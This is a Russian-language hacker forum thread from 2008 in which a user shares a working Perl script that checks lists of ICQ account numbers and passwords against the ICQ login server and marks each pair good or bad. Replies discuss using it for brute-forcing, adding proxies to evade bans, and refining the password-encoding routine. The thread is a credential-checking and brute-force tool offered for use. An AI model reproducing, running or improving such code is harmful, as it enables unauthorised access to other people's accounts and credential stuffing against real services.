ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Маленький Icq чекер
  #1  
Старый 12.02.2008, 15:54
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию Маленький Icq чекер

Для собственных нужд накалякал маленький чекер асек по листу (uin;pass)
В планах добавить соксы и треды, пока с задержкой 5 секунд чекаю, ибо надо было для небольших листов...в общем может кому пригодится:
PHP код:
#!perl
# Simple icq list checker by biophreak ( s-teals.org )
# Usage: perl ./icq-check.pl <uins.list>
use warnings;
use 
strict;
use 
Socket;
use 
IO::Handle;
my $DEBUG 0# just for fun
my $uinlist shift || die '[ERROR] Specify uinlist!';
my $timeout 3### Wait some time before next check
####################################################
my($uin$pass);
(
open U$uinlist and my @uins = <U> and close U) or die "Cannot open file $uinlist: $!\n"

for (
my $i=0$i scalar @uins$i++)
{
    (
$uin,$pass) = split /;/,$uins[$i];
    
chomp $pass;
    
icq_check($uin$pass) if defined $uin and defined $pass;
    
sleep $timeout;
}

sub icq_check
{
  
my ($uin$password) = @_;
  
my ($server,$port) = ("login.icq.com"5190);
  
my ($socket,$i,$answer_data,$auth_request,$flap,$data);
  
my $seq_num rand(0xFFFF);
  
$data"\x00\x00\x00\x01\x00\x01".pack('n',length $uin).$uin."\x00\x02".pack('n',length $password).substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length $password);
  
$flap "\x2a\x01".pack('n',$seq_num++).pack('n',length $data);
  
$auth_request =$flap.$data;
  
socket(SOCKAF_INETSOCK_STREAMgetprotobyname('tcp')) or die "Cannot open socket: $!\n"
  
connect(SOCKsockaddr_in($portinet_aton($server))) or die "Cannot connect: $!\n";
  
SOCK->autoflush(1);
  
sysread(SOCK,$answer_data,16) or die "Cannot read from socket: $!\n";
  print 
SOCK $auth_request;
  
sysread(SOCK,$answer_data,96) or die "Cannot read from socket: $!\n";;
  if (
$answer_data =~ /mismatch_passwd.html/io) {
      print 
"[DEBUG] $answer_data\n" if $DEBUG == 1;
        print 
"[BAD] : [ $uin;$pass ]\n";
    
    } 
elsif($answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/o) {
        print 
"[DEBUG] $answer_data\n" if $DEBUG == 1;
        print 
"[GOOD] : [ $uin;$pass ]\n";
    } else {
        print 
"[DEBUG] $answer_data\n" if $DEBUG == 1;
        print 
"[ERROR] [ $uin;$pass ] - Too many tries(or too fast).Try later\n";
    }
  
close SOCK;

ЗЫЖ Делая смотрел в сорцы BuH@LicH, выкинул лишние заголовки пакета логина (такие как версии клиента, его идентификатор, язык), ну и другое, не нужное для логина...

Последний раз редактировалось biophreak; 14.02.2008 в 14:42..
 
Ответить с цитированием

  #2  
Старый 12.02.2008, 16:21
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

оО маладетс...
А я для брута возьму ;-)
 
Ответить с цитированием

  #3  
Старый 12.02.2008, 16:28
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

Аськовцы могут забанить...надеюсь, в ближайшее будущее прикручу соксы

Последний раз редактировалось biophreak; 12.02.2008 в 16:41..
 
Ответить с цитированием

  #4  
Старый 12.02.2008, 17:26
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Не могут они забанить..
Я делать буду под брут, а там 1 к 100 тясячам что пасс подойдет..
 
Ответить с цитированием

  #5  
Старый 12.02.2008, 17:55
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

да я про то, что они при множестве частых попыток банят правда на 1 уин...на разные по-идее должно без проблем отработать...
 
Ответить с цитированием

  #6  
Старый 12.02.2008, 20:01
Аватар для Tapaceuka
Tapaceuka
Участник форума
Регистрация: 13.01.2008
Сообщений: 125
Провел на форуме:
207131

Репутация: 0
По умолчанию

куль, токо осталось откапать бесплатный хостинг где с этими сокетами попёр бы скрипт
 
Ответить с цитированием

  #7  
Старый 12.02.2008, 20:24
Аватар для demonoid
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Код:
for (my $i=0; $i < scalar @uins; $i++)
имхо так интересней
Код:
for ( my $i=0; $i < $#uins+1; $i++ )
Код:
sub xor_password 
{
    my $password = shift;
    my @xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
    my $xored_password;
    my $i = 0;
    foreach my $pchar(split //,$password) {
        $xored_password.=$pchar ^ $xor[$i++];
        $i=0 if $i eq @xor; #глупо  максимальная длина пароля 8 символов
    }
    return $xored_password;
}
Кривовато написано , мой вариант :
Код:
sub xor_password 
{
    my ( $pwd,$xor_pwd ) =( shift,undef );
 
    my @xor=( "\xF3", "\x26", "\x81", "\xC4", 
              "\x39", "\x86", "\xDB", "\x92", 
              "\x71", "\xA3", "\xB9", "\xE6", 
              "\x53", "\x7A", "\x95", "\x7C" );

    for( my $i=0;$i<length($pwd);$i++ )
    {
        $xor_pwd.= substr($pwd,$i,1)^$xor[$i];
    }
    return $xor_pwd;
}
а вообще молодец++ !
 
Ответить с цитированием

  #8  
Старый 12.02.2008, 21:06
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

>> имхо так интересней

неа.. )

>> Кривовато написано , мой вариант

ну тогда вот и мой: +)
Код:
sub xor_password {

	my $pwd = shift;

	my $xor = "\xF3\x26\x81\xC4\x39\x86\xDB\x92"
		. "\x71\xA3\xB9\xE6\x53\x7A\x95\x7C";

	return substr($pwd^$xor, 0, length($pwd));
}
 
Ответить с цитированием

  #9  
Старый 13.02.2008, 12:26
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

Немного почистил код, решил пообще не юзать ф-ию xor_password...подглядел в подсказку Digimortal =)
Обновил первый пост...

ЗЫЖ Посмотрел в шапку скрипта, понял что что-то не то, потом понял что именно:
use Socket;
use IO::Handle;
поправил на
use IO::Socket; =)

Последний раз редактировалось biophreak; 13.02.2008 в 12:34..
 
Ответить с цитированием

  #10  
Старый 14.02.2008, 14:04
Аватар для FooBar
FooBar
Banned
Регистрация: 28.01.2008
Сообщений: 18
Провел на форуме:
233275

Репутация: 14
По умолчанию

если ты создаешь сокет как в С, то тогда там use Socket нужно использовать, а если уж ты используешь IO::Socket::INET, то можно сделать в одну строку $socket = new IO::Socket::INET('login.icq.com:5190');
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Полный обзор ICQ клиентов BlackCats ICQ 48 14.12.2008 00:32



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ